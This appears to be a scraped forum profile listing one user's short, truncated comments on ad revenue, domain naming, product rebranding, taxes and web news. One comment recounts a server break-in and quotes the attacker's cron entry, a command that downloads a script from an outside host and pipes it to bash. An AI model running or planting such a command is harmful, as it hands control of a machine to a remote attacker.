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boonez123
13y ago
Owner is married to the founder of google. I think they'll be okay. :)
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boonez123
13y ago
More ads man! I had a site that had 1 million page views per day and we generated about $1500-$3000/day off the ads. Placement of the ad is imperative.
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boonez123
13y ago
Cycling News clone: http://news.2wheellove.com
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boonez123
13y ago
This could be the solution: http://news.softpedia.com/news/Nginx-1-4-1-and-1-5-0-Release... . I think I was on 1.1 or something then did "gem update passenger"
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boonez123
13y ago
I think this exploit affects all Linux based servers running Nginx that haven't upgraded to 1.5.0. Passenger is using 1.4.2 which would mean that if you use Rails you are vulnerable. I'm not 100% sure, but neither is anyone else. A fresh in
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boonez123
13y ago
In my cron jobs the hacker took out all my jobs and put in line that goes like wget -0 colkolduld.com/someurl | bash and then executes the same 3 more times. I think this may be an nginx issue with allowing the compiling of c code on the se
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Exploitation of an old Rails vulnerability
(gist.github.com)
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13y ago
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Are you smarter than a 16 year old? I'm not.
(calgaryherald.com)
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14y ago
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boonez123
14y ago
Go buy an ad in the Newspaper right under the Sudoku puzzle. So many freemium models invest hundreds of man hours into development then expect to pay $0 for advertising. It doesn't work like that. If you invested 100's of hours into dev, th
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boonez123
14y ago
Well I'm on the corporate network, so I'm not sure how that works. www.google.com. If I use google.ca it seems that it is fine.
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boonez123
14y ago
Seriously. No one thinks this is kind of odd?
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Searching "www.Google.com" gives me "Sexy Bacon Bra" #2 result.
(google.com)
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14y ago
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Free Market? Not in Canada. Uber gets screwed.
(thestar.com)
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14y ago
I found a domain search engine (that doesn't exist anymore) that let me filter domains. I wanted a 6 letter domain or shorter that was meaningful. There weren't that many options so I only had a handful to choose from. I got dixxo.com and d
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14y ago
We currently rebranded everything from DropClock.com to eFreeme.com. The phonetics of the name of DropClock weren't that good and in addition most people confused it with DropBox. eFreeme.com on the other hand was easily understandable when
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Remove Flicker from your site.
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14y ago
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boonez123
14y ago
Nice job guys! This is amazing!
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boonez123
14y ago
Lots of Rich people pay less income tax than the middle working class or even the lower working class. Should we kick them out of the country too, for being intelligent? Don't we all want to pay less tax? If there was a legal loophole would
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boonez123
15y ago
Nice job!
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15y ago
Back now. #11.
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15y ago
I can't see it. By the time I hit page 5 I see that the items are about a month old. It's fine if this is a glitch however if this is part of a human filter or otherwise, I would clearly classify this as a bug.
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Ask HN: Why did my "Ask HN: Review my Product: DropClock.com" disappear
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15y ago
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15y ago
Cool. Thanks for checking it out, there are a lot of little things that we need to do in order to get it polished. So much to do, so little time. Again thanks for the heads up and if you have any more feedback or know anyone who might want
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Ask HN: Review My Product - DropClock.com
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Saying "No" has big gains.
(dropclock.com)
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15y ago
Github wasn't hacked. Github had a programming error. The RAILS docs clearly state to be careful of mass assignment. It's a known issue. Your product is only as good as the people who build it. Github devs are amazing I'm sure, however it j
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boonez123
15y ago
No joke, I've seen a guy buy a $50 bottle of water in Vancouver, BC (yaletown).
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15y ago
50 MILLION! Sheesh. http://www.smh.com.au/technology/technology-news/chomp-chomp...
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15y ago
It's almost as impressive as the UI.
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GoDaddy Owner Kills Elephant for Sport
(technorati.com)
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15y ago
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